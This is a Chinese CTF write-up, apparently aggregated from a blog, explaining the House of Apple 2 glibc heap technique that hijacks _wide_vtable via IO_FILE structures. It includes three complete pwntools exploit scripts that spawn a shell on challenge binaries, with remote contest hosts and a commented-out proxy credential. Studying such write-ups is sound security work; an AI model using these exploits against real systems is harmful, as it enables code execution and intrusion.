在2.34移除了hook函数之后，堆利用就少了一个大的攻击方向了。而House of apple这个手法就给我们提供了新的攻击方向：IOFILE结构体。虽然在house of orange就有所利用，之后也有一些利用了相关结构体的手法，但都没有House of apple条件简单。
House of apple由roderick01师傅提出，至今仍可使用，原文链接如下House of apple 一种新的glibc中IO攻击方法 (2)
House of apple仅需要泄露libc和堆地址及一次largebin attack即可完成攻击，House of apple有三种利用方式，我目前就讲讲House of apple2。而House of apple2主要利用就是通过largebin attack攻击_IO_list_all把一个堆块伪造成IOFILE结构体，通过在堆块进行IOFILE结构体进行布局，因为 _wide_vtable没有检测虚表的地址范围。伪造虚表 _wide_vtable，当系统调用其中的虚表函数时，我们就可以劫持程序控制流。
House of apple2主要利用链原作者给出了三条，我就以第一条为例了，剩下的各位感兴趣可以看看原文。我们知道当我们程序从main函数返回或者exit的时候程序会刷新IO流，主要是通过_IO_flush_all这个函数实现的，相关源码如下：
int
_IO_flush_all (void)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)#主要利用在_IO_OVERFLOW这个函数后面
result = EOF;
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
可以看见他需要满足一些条件
((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
满足| |左右两边其中一边即可然后他就会调用_IO_OVERFLOW，其本质是一个宏
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
就是这样fp-> __vtable-> __overflow(fp, ch)
因为__overflow距vtable的偏移是0x18，也就是会调用vtable+0x18的函数
也就是此时会进行虚表函数调用，所以如果我们虚表改成_IO_wfile_jumps就会调用 _IO_wfile_jumps这个虚表内的函数，我要讲的第一条链就是利用他调用 _IO_wfile_overflow这个函数，不过首先得先讲讲
_wide_data的结构如下
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
可以看见跟IOFILE结构体是非常像的，要注意的就是其虚表偏移是0xe0
_IO_wfile_overflow的函数内容如下
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
else
{
/* Otherwise must be currently reading. If _IO_read_ptr
(and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting
the read pointers to all point at the beginning of the
block). This makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving
that alone, so it can continue to correspond to the
external position). */
if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end)
{
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_buf_base;
}
}
f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr;
f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr;
f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end;
f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_read_end;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr;
}
if (wch == WEOF)
return _IO_do_flush (f);
if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end)
/* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return WEOF;
*f->_wide_data->_IO_write_ptr++ = wch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && wch == L'\n'))
if (_IO_do_flush (f) == EOF)
return WEOF;
return wch;
}
在House of apple2中我们主要关注else上面的部分
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
我们的目标是调用_IO_wdoallocbuf
首先肯定是不能满足f->_flags & _IO_NO_WRITES即flag&0x8==0其次要满足(f-> _flags & _IO_CURRENTLY_PUTTING) == 0
|| f-> _wide_data-> _IO_write_base == NULL即 _wide_data+0x20要等于0，flags &0x800
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
这里我们要走到 _IO_WDOALLOCATE这里，所以fp-> _wide_data-> _IO_buf_base==0即 _wide_data+0x30要为0
fp->_flags & _IO_UNBUFFERED要不成立，所以flag&2要为0，然后就会调用 _IO_WDOALLOCATE
_IO_WDOALLOCATE是虚表函数，虚表没有变化都是
const struct _IO_jump_t _IO_wstrn_jumps attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};#每个指针的间隔在64位下是0x8
_IO_WDOALLOCATE距虚表偏移是0x68所以我们在伪造的虚表地址+0x68的地方填上我们想让他调用的函数即可，其第一个参数IOFILE结构体的是flags字段的地址
综上house of apple2的第一条链就完成了，这里借用一下原文的总结，调用链如下
exit
fcloseall
_IO_cleanup
_IO_flush_all_lockp
_IO_OVERFLOW
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
对fp的设置如下：
_flags设置为~(2 | 0x8 | 0x800)，如果不需要控制rdi，设置为0即可；如果需要获得shell，可设置为 sh;，注意前面有两个空格vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址（加减偏移），使其能成功调用_IO_wfile_overflow即可_wide_data设置为可控堆地址A，即满足*(fp + 0xa0) = A_wide_data->_IO_write_base设置为0，即满足*(A + 0x18) = 0_wide_data->_IO_buf_base设置为0，即满足*(A + 0x30) = 0_wide_data->_wide_vtable设置为可控堆地址B，即满足*(A + 0xe0) = B_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP，即满足*(B + 0x68) = C并且为了调用_IO_OVERFLOW需要设置同时还要满足以下条件||左边/右边的一种。
((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
详细题目解析可以看第二届“星途杯”网络安全竞赛pwn全解及第一道ai的wp - firefly_star - 博客园，简单来说就是有UAF，free仅清空use标志不能edit。攻击思路就是先泄露libc和堆地址，然后利用tcache往stdout上分配堆块，这题其实我们打到stdout就可以getshell了，因为stdout他本身就是IO流，所以最后刷新IO流的时候就会刷新到他，只要我们伪造好相关的IOFILE结构即可。这里其实wide_data可以指向他本身，这样可以少布局一个结构。exp如下：
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
'''
socks.set_default_proxy(
socks.SOCKS5,
"81.dart.ccsssc.com",
25790,
username="1nkvap1o",
password="cl330rd",
rdns=True
)
socket.socket = socks.socksocket
'''
flag = 1
if flag:
p = remote('xt.xl-lab.top',34591)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00'))
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s):
ru(b'cmd>')
slr(1)
ru(b'sz:')
slr(s)
ru(b'dat:')
sd(b'a'*s)
def free(s):
ru(b'cmd>')
slr(2)
ru(b'idx:')
slr(s)
def show(s):
ru(b'cmd>')
slr(3)
ru(b'idx:')
slr(s)
def edit(s,a):
ru(b'cmd>')
slr(4)
ru(b'idx:')
slr(s)
ru(b'dat:')
sd(a)
add(0x430)
add(0x20)
show(0)
free(0)
show(0)
ru(b'len: 1072\n')
a=u6(6)-0x203b20
ph(a)
libc.address=a
std=libc.sym['_IO_2_1_stdout_']
sy=libc.sym['system']
add(0x100)#2
free(2)
show(2)
ru(b'len: 256\n')
key=u6(8)
ph(key)
add(0x100)#3
add(0x100)#4
free(4)
free(3)
edit(2,p64(std^key)+b'\x00'*0xf8)
add(0x100)
ru(b'cmd>')
slr(1)
ru(b'sz:')
slr(0x100)
ru(b'dat: ')
pay=flat({
0x0:b' sh',#flags
0x28:1,#_IO_write_ptr
0x68:sy,#wide_data虚表+0x68的位置
0xd8:libc.sym._IO_wfile_jumps,#vtable
0xa0:std,#wide_data
0xe0:std,#wide_data->vtable
0xf8:0},filler=b'\x00')
sd(pay)
ti()
相关题目分析可以看看黄河流域pwn的wp(缺的比较多) - firefly_star - 博客园，简单来说就是很多漏洞，有堆溢出有UAF。glibc版本原来是2.31，2.31也可以打house of apple。不过这题我就打largebin attack攻击_IO_list_all了，总体上思路是一样的，就是flags字段在size位之前，如果只用UAF不用堆溢出的话需要前一个堆块申请的大小的最后一个16进制为是8，通过edit前一个堆块的内容去改。当然也可以进行相关布局，不过这题确实没必要，这题我就把wide_data和IOFIELE结构体放在两个堆块上没有放一起了，放一起也一样。exp如下：
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag=0
if flag:
p = remote('123.56.126.77',1016)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00'))
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def build(index,size,data):
ru(b"input sequence:")
pay=p64(index)+p64(int(size))+data
sd(pay)
def add(index,size):
ru(b'>')
sd(p32(1))
build(index,size,b'firefly_star')
def free(i):
ru(b'>')
sd(p32(3))
build(i,32,b'firefly_star')
ru(b"freeing...")
def edit(i,size,a):
ru(b'>')
sd(p32(2))
build(i,size,b'ziran\x00\x00')
ru(b"starting to edit:")
sd(a)
def show(i):
ru(b'>')
sd(p32(4))
build(i,32,b'firefly_star')
ru(b"leaking...\n")
add(0,0x460)
add(1,0x10)
add(2,0x430)
free(0)
show(0)
a=u6(6)-0x1ecbe0
ph(a)
libc.address=a
lis=libc.sym['_IO_list_all']
sy=libc.sym['system']
rax=a+0xdd237
end=0x98fb6
add(3,0x500)
edit(0,0x10,b'b'*0x10)
show(0)
ru(b'b'*0x10)
heap=u6(4)
ph(heap)
edit(0,0x20,flat(0,0,0,lis-0x20))
free(2)
add(4,0x500)
pay=flat({
0x18:1,#UAF改的是用户的data区，但_IO_list_all里是堆块最开始的地方(包括size和prev_size)所以偏移要-0x10
0x90:heap+0xdf0,
0xc8:libc.sym['_IO_wfile_jumps'],
0xe8:heap+0xdf0},filler=b'\x00')
edit(2,0x200,pay)
pay=flat({
0x28:1,
0x68:sy,
0xe0:heap+0xdf0},filler=b'\x00')
edit(4,0x100,pay)
edit(1,0x18,b'b'*0x10+b' sh')
ph(lis)
ru(b'>')
sd(p32(2))
build(6,0x20,b'firefly_star')
ti()
那么在glibc2.39下有没有什么变化呢，这里好像还是一点变化，就是0x88这个_lock成员要能够访问才行，不然会直接报错。其他的没什么区别，GLIBC 2.39-0ubuntu8.7的exp如下：
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag=0
if flag:
p = remote('123.56.126.77',1016)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00'))
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def build(index,size,data):
ru(b"input sequence:")
pay=p64(index)+p64(int(size))+data
sd(pay)
def add(index,size):
ru(b'>')
sd(p32(1))
build(index,size,b'firefly_star')
def free(i):
ru(b'>')
sd(p32(3))
build(i,32,b'firefly_star')
ru(b"freeing...")
def edit(i,size,a):
ru(b'>')
sd(p32(2))
build(i,size,b'ziran\x00\x00')
ru(b"starting to edit:")
sd(a)
def show(i):
ru(b'>')
sd(p32(4))
build(i,32,b'firefly_star')
ru(b"leaking...\n")
leave=0x400EB7
rbp=0x400b90
add(0,0x460)
add(1,0x10)
add(2,0x430)
free(0)
show(0)
a=u6(6)-0x203b20
ph(a)
libc.address=a
lis=libc.sym['_IO_list_all']
sy=libc.sym['system']
rax=a+0xdd237
end=0x98fb6
add(3,0x500)
edit(0,0x10,b'b'*0x10)
show(0)
ru(b'b'*0x10)
heap=u6(4)
ph(heap)
edit(0,0x20,flat(0,0,0,lis-0x20))
free(2)
add(4,0x500)
pay=flat({
0x18:1,
0x78:heap,
0x90:heap+0xdf0,
0xc8:libc.sym['_IO_wfile_jumps'],
0xe8:heap+0xdf0},filler=b'\x00')
edit(2,0x200,pay)
pay=flat({
0x28:1,
0x68:sy,
0xe0:heap+0xdf0},filler=b'\x00')
edit(4,0x100,pay)
edit(1,0x18,b'b'*0x10+b' sh')
ph(lis)
ru(b'>')
sd(p32(2))
build(6,0x20,b'firefly_star')
ti()
如果说上面两题还是常规堆体(漏洞非常多，增删改show全都有)那这题就是无show下仅靠堆溢出完成的攻击了，下面我们看看题目，glibc是2.39。比赛的时候没打出来，现在回顾一下。这里我重命名了一下函数方便看
free置空了指针没有UAF，看看edit
这里注意到写入的长度是固定的0xf0很容易有堆溢出，后面那个检查可以看一下
简单来说就是检查我们在0xc8的地方写入的数值必须大于0x520或者小于0x1f不然会退出。接下来看看add
可以看见只能申请特定的堆块，但注意到这里能申请0xc0大小的堆块，还记得我们edit的长度是0xf0吗，所以这里有堆溢出。
但是，这里我们可以注意到一个问题，他不能show，也就完全是无泄露，而且glibc2.39tcache里有safe_linking机制，我们哪怕有机会在tcache的fd指针上留下areana指针也很难很难爆破出stdout去泄露libc基地址。此时就需要用到tcache stashing这个机制了，我们看看2.39的源码。
if (in_smallbin_range (nb))#nb是用户所需的大小need byte，如果在smallbin范围里的话
{
idx = smallbin_index (nb);#获取该size对应的smallbin索引
bin = bin_at (av, idx);#获取该索引的smallbin头
if ((victim = last (bin)) != bin)#victim就是要脱链的堆块，这里就是看要smallbin里最后一个堆块，很显然，如果最后一个堆块是smallbin的头，那不就说明smallbin里没有堆块么
{
bck = victim->bk;#bck就是要脱链的堆块的前一个堆块(逻辑上的前，即链表前由于smallbin是FIFO机制所以前一个堆块是后进入smallbin的)
if (__glibc_unlikely (bck->fd != victim))#检查链表完整性，很好理解，前一个堆块的下一个堆块是不是他本身
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);#设置P位
bin->bk = bck;#脱链了，把smallbin的头的bk指向了victim的前一个堆块
bck->fd = bin;#把victim的前一个堆块的bk指针指向了smallbin的头，把victim脱出smallbin链表内
if (av != &main_arena)#如果不是主arena，设置非主arena标志
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);#检查堆块
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */#翻译：在这里，如果看到其他相同大小的chunk，把它们放入tcache。
size_t tc_idx = csize2tidx (nb);#获取tcache中用户申请堆块大小的索引(为了确定把这些堆块放进tcache哪个链里)
if (tcache != NULL && tc_idx < mp_.tcache_bins)#如果存在tcache机制，这里的意思不是tcache里有堆块！至少2.39不是，并且如果这个索引tc_idx在tcache bin的范围里(mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */#翻译：当bin不为空且tcache未满时，将chunks复制过去。
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)#tcache链表内数量不能多于mp_.tcache_count一般都是7，这里的bin还是smllbin的头，所以这里的意思是如果tc_victim是smallbin的头就断开循环，tc_victim为small bin中的最后一个堆块注意smallbin是FIFO机制，所以其实这里的最后是链表上的最后(靠近smallbin头)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;#用tc_victim的bk往后一直把堆块放进bck里，这里没有检查链表完整性！
set_inuse_bit_at_offset (tc_victim, nb);#之前解释了就不解释了
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;#注意这里的bin还是smallbin的头，这里还是smallbin进行脱链
bck->fd = bin;
tcache_put (tc_victim, tc_idx);#将tc_victim链入tcache里tc_idx索引对应的链
}
}
}
#endif
void *p = chunk2mem (victim);// 将chunk转换为用户可用内存
alloc_perturb (p, bytes);
return p;
}
}
所以可以看见，至少我看的2.39源码并没有要求tcache内至少有一个堆块才能触发tcache stashing，至少把堆块从smallbin放入tcache是不需要calloc这个函数触发tcache stashing的。
所以做法就很简单了，我们只需要申请足够的大小为0xc0堆先填满tcache，剩下的堆就会进unsortedbin，我们再申请0xa0的堆就会把unsortedbin的堆联入smallbin，这里注意要错位释放，因为smallbin中的堆块他的p位不恒为1，他是会进行合并的！然后我们该离smallbin头最远的堆块，也就是最后释放的堆块的bk指针，因为最后释放的堆块他是最后进tcache的，但因为tcache是LIFO机制，所以反而是最先取出来的，此时我们只需要爆破一个16进制位即可改到stdout。改到stdout我们把_IO_write_base最后一字节改成\x00让他泄露自己就可以打印出libc地址了，然后再用house of apple的手法对stdout进行一些布局就可以getshll了。不过libc是2.39，注意一下0x88要可访问即可。exp如下
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p=remote("pwn-650d8783e4.adworld.xctf.org.cn", 9999, ssl=True)
else:
p = process("./pwn")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def edit(s,a):
ru(b"Your choice > ")
slr(3)
ru(b"input index: ")
slr(s)
ru(b"Data: ")
sd(a)
def add(s,a):
ru(b"Your choice > ")
slr(1)
ru(b"input index: ")
slr(s)
ru(b"1. 0xd0\n2. 0xa0\n3. 0x510\n4. 0x520\nchoice: ")
slr(a)
def free(s):
ru(b"Your choice > ")
slr(2)
ru(b"input index: ")
slr(s)
ru(b"Chunk freed.")
#1: 0xc0 2:0xf0 3:0x500 4:0x510
for i in range(16):
add(i,1)
for j in [0, 2, 4, 6, 8, 10, 14]:
free(j)
for j in [1, 3, 5, 7, 9, 11]:
free(j)
free(13)
add(0,2)
for i in range(1,8):
add(i,1)
edit(12,b'\x00'*0xc8+flat(0xd00,0)+p16(0x45b0))
add(8,1)
add(9,1)
pay=p64(0xfbad3887)+flat(0,0,0)+b'\x00'
edit(9,pay)
a=u6(6)-0x204644
libc.address=a
sy=libc.sym.system
std=libc.sym._IO_2_1_stdout_
pay=flat({
0x0:b' sh',
0x28:1,
0x68:sy,
0x88:std+0x100,
0xd8:libc.sym._IO_wfile_jumps,
0xa0:std,
0xe0:std},filler=b'\x00')
edit(9,pay)
ti()
不过这个要爆破一个16进制位还是要爆破一会的
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。